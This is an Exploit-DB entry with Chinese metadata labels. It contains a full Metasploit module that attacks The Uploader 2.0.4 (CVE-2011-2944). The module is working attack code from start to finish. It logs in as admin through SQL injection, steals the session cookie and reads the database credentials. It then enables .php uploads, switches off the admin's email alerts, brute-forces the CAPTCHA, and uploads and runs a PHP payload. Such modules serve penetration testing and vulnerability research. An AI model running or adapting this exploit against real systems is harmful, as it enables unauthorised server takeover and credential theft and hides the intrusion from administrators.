标题: The Uploader 2.0.4 (English/Italian) - Arbitrary File Upload / Remote Code Execution (Metasploit) EDB-ID: 18518 CVE: 2011-2944 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-23 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'    => 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',
   'Description'=> %q{
     This module exploits various flaws in The Uploader to upload a PHP payload
     to target system. When run with defaults it will search possible URIs for
     the application and exploit it automatically. Works against both English
     and Italian language versions. Notably it disables pre-emptive email warnings
     before uploading the payload, though it leaves log cleanup as a
     post-exploitation task.
   },
   'Author'   => [ 'Danny Moules' ],
   'References'      =>
    [
     [ 'URL', 'http://sourceforge.net/projects/theuploader' ],
     [ 'CVE', '2011-2944' ],
    ],
   'Privileged'  => false,
   'Payload'         =>
    {
     'DisableNops' => true,
     'Keys'        => ['php'],
    },
   'License'   => MSF_LICENSE,
   'Platform'   => 'php',
   'Arch'    => ARCH_PHP,
   'Targets'   => [[ 'Automatic', { }]],
   'DefaultTarget'  => 0,
   'DisclosureDate'  => 'Feb 23 2012',
  ))

  register_options([
   Opt::RHOST,
   Opt::RPORT(80),
   OptString.new(
    'URI',
    [ true, 'Path of application root (default will try common targets)', '/' ]
   ),
   OptInt.new(
    'CRACKATTEMPTS',
    [ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]
   ),
   OptBool.new(
    'VERBOSE',
    [ true, 'Verbose output', true ]
   ),
  ], self.class)
 end

 def get_strings(lang)
  if lang == "Eng"
   strings = {
    "sqlisuccess" => /Log-In has been done successfully/,
    "whitelistsuccess" => /The extension has been added successfully/,
    "disablemailsuccess" => /Notification Mail section has been saved successfully/,
    "changedirsuccess" => /Edit Upload Folder section has been saved successfully/,
    "captcharequired" => /No result entered/,
    "uploadsuccess" => /Download Link/,
    "disablecaptchasuccess" =>
     /Upload Permissions section has been saved successfully/,
   }
  elsif lang == "Ita"
   strings = {
    "sqlisuccess" => /stato effettuato con successo/,
    "whitelistsuccess" => /L'estensione &egrave; stata consentita con successo/,
    "disablemailsuccess" => /Mail di Notifica &egrave; stata salvata con successo/,
    "changedirsuccess" =>
     /Modifica Cartella Upload &egrave; stata salvata con successo/,
    "captcharequired" => /Non &agrave; stato inserito nessun risultato/,
    "uploadsuccess" => /Link al download/,
    "disablecaptchasuccess" => /Permessi Upload &egrave; stata salvata con successo/,
   }
  end
  return strings
 end

 def exploit
  #Analyse target
  analysis = analyse(datastore['URI'])
  print_status(analysis['status'])
  strings = get_strings(analysis['lang'])
  unless analysis['uri'].nil?
   datastore['URI'] = analysis['uri']
  end

  #Attempt SQLi - Gets the 'first' valid admin account
  data = "username=' OR activated=1-- a"
  data << "&password=a"
  data << "&login=Log-IN"

  res = send_and_verify(
   datastore['URI'] + "login.php",
   "POST",
   "application/x-www-form-urlencoded",
   "",
   data,
   "SQL injection",
   strings['sqlisuccess']
  )

  #Get cookies
  unless res.headers.include?('Set-Cookie')
   raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")
  end
  choc_chip = res.headers['Set-Cookie']
  if datastore["VERBOSE"]
   print_good("I stole the cookie from the cookie jar: #{choc_chip}")
  end

  #Optionally, analyse configuration
  if datastore["VERBOSE"]
   begin
    config = analyse_config(strings, choc_chip)
    print_status("INFO: Database host is #{config['db_host']}")
    print_status("INFO: Database username is #{config['db_user']}")
    print_status("INFO: Database password is #{config['db_pass']}")
    print_status("INFO: Database name is #{config['db_name']}")
    print_status("INFO: Admin log is #{config['admin_log']}")
   rescue ::Exception => e
    err = "Non-fatal error. Failed to analyse configuration: "
    err << "#{e.class.to_s} #{e.to_s}"
    print_error(err)
   end
  end

  #Whitelist .php extensions for upload
  res = send_and_verify(
   datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",
   "POST",
   "application/x-www-form-urlencoded",
   choc_chip,
   "allowed_ext=php",
   "Whitelisting .php extensions",
   strings['whitelistsuccess']
  )

  # Disable email reporting
  res = send_and_verify(
   datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",
   "POST",
   "application/x-www-form-urlencoded",
   choc_chip,
   "upload_email=0",
   "Disabling email reporting",
   strings['disablemailsuccess']
  )

  # Change upload location to suit us
  data = "upload_directory="
  data << "&upload_full="
  data << datastore['RHOST']
  data << datastore['URI']

  res = send_and_verify(
   datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",
   "POST",
   "application/x-www-form-urlencoded",
   choc_chip,
   data,
   "Changing upload directory to application root",
   strings['changedirsuccess']
  )

  #Disable CAPTCHA on upload (non-fatal)
  begin
   res = send_and_verify(
    datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",
    "POST",
    "application/x-www-form-urlencoded",
    choc_chip,
    "captcha_upload=0",
    "Disabling CAPTCHA on upload",
    strings['disablecaptchasuccess']
   )
  rescue ::Exception
   print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")
  end

  #Upload PHP payload
  upload_uri = "ajax/upload.php"
  filename = "#{rand_text_alphanumeric(8)}.php"
  boundary = rand_text_alphanumeric(8)
  data = %Q{
--#{boundary}
Content-Disposition: form-data; name="upfile_1"; filename="#{filename}"
Content-Type: text/plain

<?php #{payload.encoded} ?>
--#{boundary}
  }

  res = send_request_raw({
   'uri'  =>  datastore['URI'] + upload_uri,
   'method' => 'POST',
   'data'  => data + '--',
   'headers' =>
    {
     'Cookie'   => choc_chip,
     'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
     'Content-Length'  => data.length + 2,
    },
  }, 20)

  #Verify response
  if res.code != 200
   raise RuntimeError.new("Uploading payload failed (HTTP code #{res.code.to_s})")
  end

  # If failure due to CAPTCHA, crack that...
  if res.body =~ strings['captcharequired']
   crack_captcha(data, choc_chip, boundary, upload_uri, strings)
  else
   if res.body =~ strings['uploadsuccess']
    if datastore["VERBOSE"]
     print_good("Uploading payload succeeded, triggering...")
    end
   else
    err = "Response doesn't look right."
    err << " Uploading payload probably failed (will continue anyway)"
    print_error(err)
   end
  end

  #Attempt to trigger payload
  res = send_request_cgi({
   'uri'  =>  datastore['URI'] + filename,
   'method' => 'GET',
   'headers' =>
    {
     'Cookie' => choc_chip,
    },
  }, 5)

  #Verify response
  if res and res.code != 200
   err = "Triggering payload (/#{filename}) failed "
   err << "(HTTP code #{res.code.to_s})"
   raise RuntimeError.new(err)
  else
   print_good("Triggering payload (/#{filename}) successful")
  end
 end

 def crack_captcha(data, choc_chip, boundary, upload_uri, strings)
  captcha_failed = true
  print_status("CAPTCHA is enabled. Transforming into brute-force CAPTCHA cracker *ping*")

  crack_data = %Q{
#{data}
Content-Disposition: form-data; name="result"

0
--#{boundary}
  }

  patience = datastore['CRACKATTEMPTS']
  for i in (1..patience)

   #First visit index page to trigger CAPTCHA reset
   res = send_request_cgi({
   'uri'  =>  datastore['URI'] + "index.php",
   'method' => 'GET',
   'headers' =>
    {
     'Cookie' => choc_chip
    },
   }, 20)

   #Now try CAPTCHA with result 0. It'll happen eventually (1/30ish chance).
   #Maths-based CAPTCHAs are educational kids!
   res = send_request_raw({
    'uri'  =>  datastore['URI'] + upload_uri,
    'method' => 'POST',
    'data'  => crack_data + '--',
    'headers' =>
     {
      'Cookie'    => choc_chip,
      'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
      'Content-Length'  => crack_data.length + 2,
     },
   }, 20)

   if res.body =~ strings['uploadsuccess']
    captcha_failed = false
    break
   end
  end

  if captcha_failed
   err = "Could not break CAPTCHA in #{patience.to_s} iterations."
   err << " You might have luck retrying."
   raise RuntimeError.new(err)
  else
   print_good("CAPTCHA broken. Transforming back into a mild-mannered exploit *ping*")
  end
 end

 def send_and_verify(uri, method, ctype, cookie, data, intent, check)
  res = send_request_raw({
   'uri'  => uri,
   'method' => method,
   'data'  => data,
   'headers' =>
    {
     'Cookie'   => cookie,
     'Content-Type'  => ctype,
     'Content-Length'  => data.length,
    },
  }, 20)

  #Verify response
  if res.code != 200
   raise RuntimeError.new("#{intent} failed (HTTP code #{res.code.to_s})")
  end
  unless res.body =~ check
   raise RuntimeError.new("Response doesn't look right. #{intent} probably failed")
  end

  if datastore["VERBOSE"]
   print_good("#{intent} succeeded")
  end

  return res
 end

 def analyse(uri_set)
  code = nil
  found_uri = nil
  status = "Unknown state"
  lang = "Eng"

  unless uri_set =~ /\/$/ then
   uri_set = "#{uri_set}/"
   print_status("URI automatically changed to #{uri_set}")
  end

  unless uri_set =~ /^\// then
   uri_set = "/#{uri_set}"
   print_status("URI automatically changed to #{uri_set}")
  end

  if uri_set == "/" then
   uris = [ "/", "/upload/", "/uploader/", "/theuploader/",
    "/the_uploader/", "/The%20Uploader/",
    "/The%20Uploader%202.0.4%20-%20Eng/", "/The%20Uploader%202.0.4%20-%20Ita/"
   ]
  else
   uris = [ uri_set ]
  end

  uris.each do |uri|
   res = send_request_cgi({
    'uri'  =>  uri + "index.php",
    'method' => 'GET',
   }, 20)

   if res and res.code == 200
    if res.body =~ /The Uploader 2\.0/
     status = "2.0.* version found at #{uri}"
     code = Exploit::CheckCode::Vulnerable
     found_uri = uri
    elsif res.body =~ /The Uploader/
     status = "Detected unknown version at #{uri}"
     code = Exploit::CheckCode::Detected
     found_uri = uri
    end

    unless found_uri.nil?
     #Set appropriate language
     if res.body =~ /Sezione Upload/
      lang = "Ita"
     end

     http_fingerprint({ :response => res })
     break
    end
   end
  end

  if found_uri.nil?
   if uri_set == "/"
    status = "Could not find the web site automatically. Enter URI manually?"
   else
    status = "Could not find the web site."
    status << " Use the default URI to search for the web site automatically"
   end
   code = Exploit::CheckCode::Safe
  end

  return { "code" => code, "uri" => found_uri, "lang" => lang, "status" => status }
 end

 def analyse_config(strings, cookie)
  #Acquire the database details
  res = send_request_cgi({
   'uri'  =>  datastore['URI'] + "admin.php?section=upload&category=server",
   'method' => 'GET',
   'headers' =>
    {
     'Cookie' => cookie
    },
  }, 20)
  unless res and res.code == 200
   raise RuntimeError.new("Acquiring database details failed")
  end
  r = /<input[^>]*name="host"[^>]*value="([^"]*)".*\/>/
  db_host = r.match(res.body)[1]
  r = /<input[^>]*name="user"[^>]*value="([^"]*)".*\/>/
  db_user = r.match(res.body)[1]
  r = /<input[^>]*name="pass"[^>]*value="([^"]*)".*\/>/
  db_pass = r.match(res.body)[1]
  r = /<input[^>]*name="dbnm"[^>]*value="([^"]*)".*\/>/
  db_name = r.match(res.body)[1]

  #Acquire the admin log details
  res = send_request_cgi({
   'uri'  =>  datastore['URI'] + "admin.php?section=admin&category=admin_log",
   'method' => 'GET',
   'headers' =>
    {
     'Cookie' => cookie
    },
  }, 20)
  unless res and res.code == 200
   raise RuntimeError.new("Acquiring admin log details failed")
  end
  r = /<input[^>]*name="admin_log"[^>]*checked.*\/>/
  if r.match(res.body)
   admin_log = "active"
  else
   admin_log = "inactive"
  end

  return {
   "db_host" => db_host, "db_user" => db_user, "db_pass" => db_pass,
   "db_name" => db_name, "admin_log" => admin_log,
  }
 end

 def check
  analysis = analyse("/")
  print_status(analysis['status'])
  return analysis['code']
 end
end URL: https://www.exploit-db.com/exploits/18518